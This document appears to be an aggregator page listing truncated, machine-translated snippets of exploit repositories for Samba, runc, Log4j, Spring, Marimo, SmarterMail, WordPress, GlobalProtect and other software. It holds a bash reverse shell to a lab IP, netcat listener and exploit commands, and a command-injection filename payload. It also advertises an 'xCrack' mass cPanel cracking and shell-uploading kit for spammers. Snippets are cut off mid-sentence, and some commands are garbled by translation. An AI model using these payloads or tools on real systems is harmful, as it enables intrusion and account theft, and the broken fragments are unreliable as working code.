CVE-2007-2447

CVE-2007-2447 Samba 3.0.20 CVE-2007-2447 エクスプロイト root@kitploit: python3 smb3.0.20exp.py -lh localhost -lp local port -t target Netcat リスナーを作成する root@kitploit: nc -nlvp 4444 スクリプトを実行する root@kitploit: python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...

Onionscan

on洋葱扫描部署 注意！本仓库是 https://github.com/s-rah/onionscan 的修补版本，设计用于从 hunchly 的谷歌云 shell 运行，见 https://github.com/hunchly/funchly/tree/main/onionscan，该版本被用作基线并进行了修改，以便同时可以部署在本地实例上。 谷歌云 shell 上的 on洋葱扫描 1. 要获得免费云 shell 账号：https://console.cloud.google.com/getting-started?pli=1 2. 打开你的云 shell，点击此处： 3. 在你的云...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 使い方 : このマシンは CVE-2019-5736 に対して脆弱です。Runc exploit CVE-2019-5736 の手順に従ってください。 main.go ファイルをダウンロードし、ファイル内のペイロードを次のように変更します: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" その後、以下を実行します: root@kitploit: go build main.go HTTP...

WHS3_vulhub

CVE-2017-8386: git-shell サンドボックス回避による RCE PoC 정수진@suz1n 概要 Git-shell は SSH を介して制限された git コマンドのみを許可する環境を提供します。しかし、特定のバージョンの git-shell（2.12.2 など）では、less コマンドを悪用してサンドボックスを回避し、システムコマンドを実行できる脆弱性（CVE-2017-8386）が存在します。 本レポートは、当該脆弱性に対する PoC を実施し、その過程をまとめたものです。 環境構築 使用ツールとバージョン Docker: 24.0.7...

jankybank

jankybank kozmer/log4j-shell-poc から着想を得て、大部分を借用しています。 eurogig/log4sheller と連携します。 Log4j をベースにした CTF を作成するために使用します。...

PageBuilderCK-CVE-2026-56290-Exploit

Page Builder CK — fonts.save RCE Probe CVE-2026-56290 BlackHat Team によるJoomla Page Builder CK fonts.save 脆弱性の概念実証スキャナー。 POC CVE-2026-56290 著者: @mrzblackhat チーム: BlackHat Team クレジット: Peyman Siyahi · MR.PERSIA 概要 このツールは、脆弱な compagebuilderck コンポーネントが動作するJoomlaサイトを調査します。fonts.save...

xCrack Python Tools For Hackers

TG Download Link: https://t.me/+0z9FapS4mBgyZjhl xCrack Python Hacking Tool for Hackers And Spammers Requirements: Python 3.x Tested On: Python 3.10.4 ► cPanel Section ◄ Mass cPanel Active Checker Mass cPanel To Shell Uploader Mass cPanel To SMTP Cracker Mass cPanel To Webmail Cracker Mass cPanel...

SSE4-CVE-2022-22965

Spring Boot CVE-2022-22965 Spring Boot バージョン 2.6.5 における CVE-2022-22965 の Docker PoC はじめに 1. docker compose up --build を実行して、脆弱性のあるアプリケーションをビルドし起動します。 2. 次の curl コマンドを実行して Tomcat の設定バルブを変更します。 root@kitploit: curl -H "Accept: text/html;"...

CVE-2026-39987-PoC

CVE-2026-39987 PoC 概要 Marimo = 0.20.4 は、/terminal/ws WebSocket エンドポイントにおける認証前 RCE の脆弱性の影響を受けます。 このエンドポイントはアプリケーションモードとターミナルサポートをチェックしますが、WebSocket 接続を受け入れる前に認証を検証しません 。その後、PTY シェルを作成するため、認証されていない攻撃者が Marimo プロセスの権限でコマンドを実行できるようになります。 根本原因 validateauth を呼び出す他の WebSocket...

CVE-2025-52691-APT-PoC

CVE-2025-52691 PoC：SmarterMail 任意ファイルアップロード RCE（APT強化版） これはCVE-2025-52691 用の拡張された概念実証（PoC）エクスプロイトです。CVE-2025-52691は、SmarterTools SmarterMail...

CVE-2025-7847-POC

CVE-2025-7847 WordPressプラグイン 認証済み購読者による任意ファイルアップロード PoC WordPressプラグイン AI Engine 2.9.3 - 2.9.4 概念実証 この脆弱性は、「Public API」オプションが有効になっている場合にのみ悪用可能であることに注意してください。このオプションはデフォルトでは無効であり、またBearer Tokenが設定されておらず、カスタム認証が追加されてAPIを保護していない場合に限ります。 自動化バージョン root@kitploit: python3 exploit-auto.py --url...

CVE-2026-0073

🤖 CVE-2026-0073 - Wireless ADB 認証バイパス 📌 概要 CVE-2026-0073 は、Android の Wireless ADB（adbd デーモン）における重大な認証バイパス脆弱性 です。 同じネットワーク 上の攻撃者は、相互 TLS 認証をバイパスし、ユーザーの承認や事前ペアリングなしでデバイスに接続できます。 主な情報 項目| 詳細 ---|--- CVE ID| CVE-2026-0073 深刻度| Critical CVSSスコア| 8.8 影響を受けるコンポーネント| adbd Android Debug Bridge - TLS ハンドラ...

CVE-2026-64638

CVE-2026-64638 寄付 PayPalまたは下のQRコードをスキャンして、このプロジェクトのメンテナンスを支援してください。 ⚡ 簡単な使い方 このプロジェクトは、次のような安全かつ許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 分離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the...

Demonstration-of-CVE-2023-38831-via-Reverse-Shell-Execution

CVE-2023-38831 リバースシェルのデモンストレーション このリポジトリには、CVE-2023-38831 のラボ環境でのデモンストレーションに関する PDF サマリーとスクリーンショットが含まれています。この脆弱性により、攻撃者は圧縮ファイルに悪意のあるペイロードを埋め込んで実行できます。この場合、ペイロードはリバースシェルをトリガーします。 内容: summaryreport.pdf: ラボプロセスの詳細な説明 /screenshots: 手順と結果の視覚的な証拠 注意: このリポジトリには、実行可能なコードやマルウェアは含まれていません。...

Heartexploit

Heartexploit こちらが私の新しい、そして初めてのエクスプロイトです。このエクスプロイトはHeartBleed（CVE-2014-0160）の脆弱性を攻撃します。気に入っていただけると嬉しいです。 このエクスプロイトはLinuxでのみ動作します。一部がWindowsと互換性のない言語で書かれているためです。 このアプリケーションを起動するために必要なコマンドは次の1つだけです： ./Heartexploit.sh 言うまでもなく、このエクスプロイトは教育目的のみです。したがって、皆さんが行ういかなる行為についても私は責任を負いません。 パイナップル入りピザが好きです...

POC-CVE-2026-19679

CVE-2026-19679 — アップロードされたファイル名のサニタイズ不備（入力検証） ステータス: 確認済み 6.7.2-14.el9 ラボ環境（2026-08-20）。POST /rest/auditFile に tailoringOriginalFilename = "poc;touch$IFSpoc19679;me.xml" を指定すると HTTP 200 が返り、 AuditFile 1000002 が登録された — シェルメタ文字を含むファイル名は検証を通過し、 エンドツーエンドで保存された。6.9.0 では同じリクエストは "Invalid tailoring...

globalprotect-ca-cert-ipc

c2us.exe - ログオン中のユーザーのデスクトップセッションで、実行中ユーザーとしてコマンドを起動します。この場合、非特権ユーザーのデスクトップセッションで cmd.exe を SYSTEM として起動します。 c2us.c - c2us.exe のソースコード。 epinject.exe - エントリポイントインジェクタ。新しいプロセスを生成し、そのエントリポイントにコードを注入するために使用されます。 loadgpsend.bin - epinject.exe を使用して PanGPA.exe に注入されるペイロード。メインのエクスプロイト本体である...

CVE-2018-11510

CVE-2018-11510向けのエクスプロイトを数件、Kyle Lovett（@SquirrelBuddha）と私（Matthew Fulton/@haqur）が作成しました。 認証なしのコマンドインジェクションを利用して、ルートシェルを取得します。 このMetasploitモジュールには、リポジトリに別途ペイロードが含まれています。近いうちにMSFへのプルリクエストで組み込めるかどうか試してみる予定です。 このバグは現在 修正されているかもしれません が、他にも見つかるのを待っているバグがきっとあるでしょう :D...

bassmaster-rce

bassmaster-rce CVE-2014-7205を悪用し、任意のJavaScriptを注入することでリモートコード実行（RCE）を実現します。 私はLuuPhuによるこの投稿（ベトナム語）を見つけました。NodeJSでコードを書いたことはありますが、それを悪用したことはなかったので、今日やってみようと思いました。 Python PoCには2種類のリバースシェルが含まれています： 1. シンプルなNCリバースシェル 2. Riyaz Walikarのibreak.softwareから引用した「シンプルな」NodeJSリバースシェル 免責事項 完全性のために：...

CVE-2025-55319-PoC

参照: CVE-2025-55319 HTB「Checkpoint」チャレンジ向けの概念実証 PoC VS Code .vsix 拡張機能です。 インストールされると、拡張機能は自動的にアクティブ化され、攻撃者への隠れた PowerShell リバースシェルを生成します。 ⚠️ 許可された用途のみ。 これは CTF/ラボ用アーティファクトです。自分が所有するマシン、 または明示的にテストを許可されたマシン（例: HTBのターゲットボックス）に対してのみ展開してください。 仕組み extension/package.json — 拡張機能マニフェスト。"activationEvents":...